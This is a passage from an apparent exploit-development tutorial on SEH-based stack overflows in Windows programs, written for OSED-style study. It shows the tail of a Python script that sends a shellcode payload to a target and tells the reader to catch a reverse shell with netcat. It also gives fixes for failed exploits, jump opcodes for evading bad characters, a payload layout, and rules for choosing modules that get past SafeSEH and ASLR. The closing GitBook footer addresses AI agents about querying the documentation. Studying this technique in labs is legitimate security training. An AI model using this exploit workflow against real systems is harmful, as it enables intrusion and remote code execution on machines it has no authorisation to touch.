print(f"[*] Shellcode at : {len(PREFIX) + nSEH_OFFSET + 8 + len(nop_sled)}")

try:
    s = socket.socket()
    s.settimeout(5)
    s.connect((IP, PORT))
    s.recv(1024)
    s.send(payload)
    print("[+] Payload sent — nc -lvnp 4444")
    s.close()
except Exception as e:
    print(f"[-] {e}")
    sys.exit(1)
```

***

## 17. Common Failures and Fixes

### Handler Is Never Called

Symptom: breakpoint on PPR never hits, app just crashes.

Fixes:

* Press `Shift+F9` in Immunity — this passes the exception to the program to trigger the handler. You must do this manually during testing.
* Confirm the SEH chain actually shows your PPR address (`View → SEH Chain`)
* The exception might be caught by an earlier SEH record higher in the chain — check `!exchain` for the full chain

### PPR Address Rejected (SafeSEH Violation)

Symptom: execution doesn't reach PPR, Windows terminates the exception dispatch silently.

Fixes:

* Verify the module is `SafeSEH=False` with `!mona modules`
* Pick a different module with `SafeSEH=False` or `SafeSEH=N/A`
* Try a gadget from the heap or stack region (SafeSEH only checks PE module ranges)

### Short Jump Goes Wrong

Symptom: EIP lands inside SEH bytes or before NOP sled.

Fixes:

* Recalculate jump: `\xeb\x06` = jump +6 from end of `\xeb\x06` instruction
  * Lands at: nSEH\_start + 2 (instr size) + 6 = nSEH\_start + 8 = right after SEH
* If `\x06` is a bad char, use `\x08` and add 2 extra NOPs before nop\_sled
* If `\xeb` is a bad char, use `\x70\x06` (JO +6) or `\x75\x06` (JNE +6)

### EIP = nSEH but Shellcode Doesn't Execute

Symptom: EIP correctly lands at nSEH, short jump fires, but shellcode fails.

Fixes:

* Bad char still in shellcode — re-run bad char analysis
* Shellcode not in memory yet — check if shellcode bytes visible at ESP after jump
* Not enough NOP sled — increase to 32 bytes
* Stack not executable (DEP) — different problem class (needs ROP)

### Offset Is Wrong

Symptom: SEH chain shows non-pattern values, or nSEH/SEH values are misaligned.

Fixes:

* Use `!mona findmsp` — it shows all register/memory offsets at once
* Check if the application adds a header to the buffer before storing it (strip that from offset)
* Re-run pattern with a longer pattern (3000–5000 bytes)

### nSEH Field Contains Bad Characters

Symptom: `\xeb` or `\x06` or `\x90` are bad chars for your target.

```python
# Alternative short jumps (all JMP SHORT equivalents):
b"\x70\x06\x90\x90"   # JO  +6 (jump if overflow — always true after exception)
b"\x72\x06\x90\x90"   # JC  +6
b"\x74\x06\x90\x90"   # JE  +6 (won't fire if ZF=0 — less safe)
b"\x75\x06\x90\x90"   # JNE +6 (fires if ZF=0)
b"\x7c\x06\x90\x90"   # JL  +6

# Or go further to avoid \x06:
b"\xeb\x08\x90\x90"   # JMP +8 — add 2 extra NOPs before shellcode
b"\xeb\x0a\x90\x90"   # JMP +10 — add 4 extra NOPs (if 0x0a is ok)
```

## 18. Quick Reference

### Payload Structure (Visual)

```
Offset:    0           nSEH_OFF    nSEH_OFF+4  nSEH_OFF+8   nSEH_OFF+24
           │           │           │           │             │
           ▼           ▼           ▼           ▼             ▼
Bytes:  [AAAA...AAAA][eb 06 90 90][PPR addr  ][90 90...90  ][shellcode...]
        ←─ padding ─→ ←─ nSEH ──→ ←─ SEH ───→ ←─ NOP x16 ─→
                       ↑           ↑
                       JMP +6      POP POP RET
                       (skips SEH) (pivots to nSEH)
```

### Exception Dispatch Stack Layout

```
When SEH handler is called:
  [ESP+0 ]  ret to dispatcher
  [ESP+4 ]  ExceptionRecord *
  [ESP+8 ]  EstablisherFrame *  ← = &nSEH   (POP POP RET extracts this)
  [ESP+12]  ContextRecord *
  [ESP+16]  DispatcherContext *
```

### mona Commands — SEH Workflow Order

| Step              | Command                                   |
| ----------------- | ----------------------------------------- |
| Recon             | `!mona modules`                           |
| Pattern           | `!mona pattern_create 3000`               |
| Offset            | `!mona pattern_offset -e <SEH value>`     |
| All offsets       | `!mona findmsp`                           |
| Bad chars gen     | `!mona bytearray -b "\x00"`               |
| Bad chars compare | `!mona compare -f bytearray.bin -a <ESP>` |
| Find PPR          | `!mona seh -cpb "\x00\x0a\x0d"`           |
| View chain        | `View → SEH Chain`                        |

### Jump Opcode Reference

| Bytes      | Instruction   | Safe to Use?                       |
| ---------- | ------------- | ---------------------------------- |
| `\xeb\x06` | JMP SHORT +6  | Yes (most common)                  |
| `\x70\x06` | JO SHORT +6   | Yes (always taken after exception) |
| `\x72\x06` | JB SHORT +6   | Usually                            |
| `\x75\x06` | JNE SHORT +6  | Usually                            |
| `\xeb\x08` | JMP SHORT +8  | Yes (need 2 extra NOPs)            |
| `\xeb\x0a` | JMP SHORT +10 | Yes if `\x0a` not bad              |

### Module Selection — What to Check

| Flag    | Value Needed      | Why                                   |
| ------- | ----------------- | ------------------------------------- |
| SafeSEH | False or N/A      | Handler validation bypass             |
| ASLR    | False             | Fixed address across reboots          |
| Rebase  | False             | Fixed base address at load            |
| OS DLL  | False (preferred) | More portable across Windows versions |

***

*OSED / EXP-301 — SEH-based overflow. Always test on the exact target OS/patch level.*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/seh-overflows.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
